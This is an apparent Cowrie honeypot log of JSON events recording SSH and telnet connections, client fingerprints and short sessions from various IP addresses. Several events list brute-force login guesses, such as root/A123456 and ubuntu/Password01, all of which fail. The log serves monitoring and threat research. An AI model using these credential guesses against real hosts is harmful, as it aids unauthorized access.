{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:58.560732Z","src_ip":"171.244.141.86","session":"6b367c89be2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:58.832587Z","src_ip":"171.244.141.86","session":"6b367c89be2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:14:59.802773Z","src_ip":"171.244.141.86","session":"6b367c89be2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:01.040101Z","src_ip":"171.244.141.86","session":"6b367c89be2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":40168,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bd0d3b80631","protocol":"ssh","message":"New connection: 193.37.70.224:40168 (10.17.0.5:22) [session: 0bd0d3b80631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:21.733711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:21.738499Z","src_ip":"193.37.70.224","session":"0bd0d3b80631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:21.828744Z","src_ip":"193.37.70.224","session":"0bd0d3b80631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwertyu","message":"login attempt [root/1qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:22.100596Z","src_ip":"193.37.70.224","session":"0bd0d3b80631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:23.198830Z","src_ip":"193.37.70.224","session":"0bd0d3b80631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49838,"dst_ip":"159.203.135.109","dst_port":22,"session":"431f12e188a6","protocol":"ssh","message":"New connection: 103.82.20.28:49838 (159.203.135.109:22) [session: 431f12e188a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:38.147193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:38.151959Z","src_ip":"103.82.20.28","session":"431f12e188a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:38.420781Z","src_ip":"103.82.20.28","session":"431f12e188a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":50410,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2f6c76f766","protocol":"ssh","message":"New connection: 50.116.72.139:50410 (10.17.0.5:22) [session: ce2f6c76f766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:39.220510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:39.225895Z","src_ip":"50.116.72.139","session":"ce2f6c76f766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123a123","message":"login attempt [root/a123a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:39.232651Z","src_ip":"103.82.20.28","session":"431f12e188a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:39.254296Z","src_ip":"50.116.72.139","session":"ce2f6c76f766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password01","message":"login attempt [ubuntu/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:39.391957Z","src_ip":"50.116.72.139","session":"ce2f6c76f766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:40.420894Z","src_ip":"50.116.72.139","session":"ce2f6c76f766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:40.501801Z","src_ip":"103.82.20.28","session":"431f12e188a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":42686,"dst_ip":"159.203.135.109","dst_port":23,"session":"183846e84428","protocol":"telnet","message":"New connection: 186.55.200.230:42686 (159.203.135.109:23) [session: 183846e84428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:47.930268Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":42708,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a1c8f4257c","protocol":"telnet","message":"New connection: 186.55.200.230:42708 (159.203.135.109:23) [session: 71a1c8f4257c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:50.361488Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":20357,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0b0e1884d72","protocol":"ssh","message":"New connection: 180.243.191.141:20357 (10.17.0.5:22) [session: c0b0e1884d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:51.859284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:51.864726Z","src_ip":"180.243.191.141","session":"c0b0e1884d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":42750,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01218e37e17","protocol":"telnet","message":"New connection: 186.55.200.230:42750 (159.203.135.109:23) [session: c01218e37e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:51.896816Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:52.132472Z","src_ip":"180.243.191.141","session":"c0b0e1884d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:53.223230Z","src_ip":"180.243.191.141","session":"c0b0e1884d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:15:54.489241Z","src_ip":"180.243.191.141","session":"c0b0e1884d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":36350,"dst_ip":"10.17.0.5","dst_port":22,"session":"7558db8d8e03","protocol":"ssh","message":"New connection: 45.165.238.2:36350 (10.17.0.5:22) [session: 7558db8d8e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:06.859784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:06.866036Z","src_ip":"45.165.238.2","session":"7558db8d8e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:06.999342Z","src_ip":"45.165.238.2","session":"7558db8d8e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:07.553047Z","src_ip":"45.165.238.2","session":"7558db8d8e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:08.687629Z","src_ip":"45.165.238.2","session":"7558db8d8e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.86.136.87","src_port":57642,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ebba9a8b00","protocol":"telnet","message":"New connection: 95.86.136.87:57642 (10.17.0.5:23) [session: 44ebba9a8b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:24.899766Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":41406,"dst_ip":"10.17.0.5","dst_port":22,"session":"f326d607a0c8","protocol":"ssh","message":"New connection: 171.244.141.86:41406 (10.17.0.5:22) [session: f326d607a0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:40.213903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:40.218871Z","src_ip":"171.244.141.86","session":"f326d607a0c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:40.496113Z","src_ip":"171.244.141.86","session":"f326d607a0c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234.","message":"login attempt [root/Asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:41.494314Z","src_ip":"171.244.141.86","session":"f326d607a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:42.739724Z","src_ip":"171.244.141.86","session":"f326d607a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":38926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e66adc4db45e","protocol":"ssh","message":"New connection: 50.116.72.139:38926 (10.17.0.5:22) [session: e66adc4db45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:48.887338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:48.893783Z","src_ip":"50.116.72.139","session":"e66adc4db45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:48.917526Z","src_ip":"50.116.72.139","session":"e66adc4db45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456.","message":"login attempt [root/A123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:49.045281Z","src_ip":"50.116.72.139","session":"e66adc4db45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:50.075953Z","src_ip":"50.116.72.139","session":"e66adc4db45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":17784,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e64774a9a9f","protocol":"ssh","message":"New connection: 180.243.191.141:17784 (10.17.0.5:22) [session: 9e64774a9a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:51.910951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:51.916388Z","src_ip":"180.243.191.141","session":"9e64774a9a9f","protocol":"ssh"}
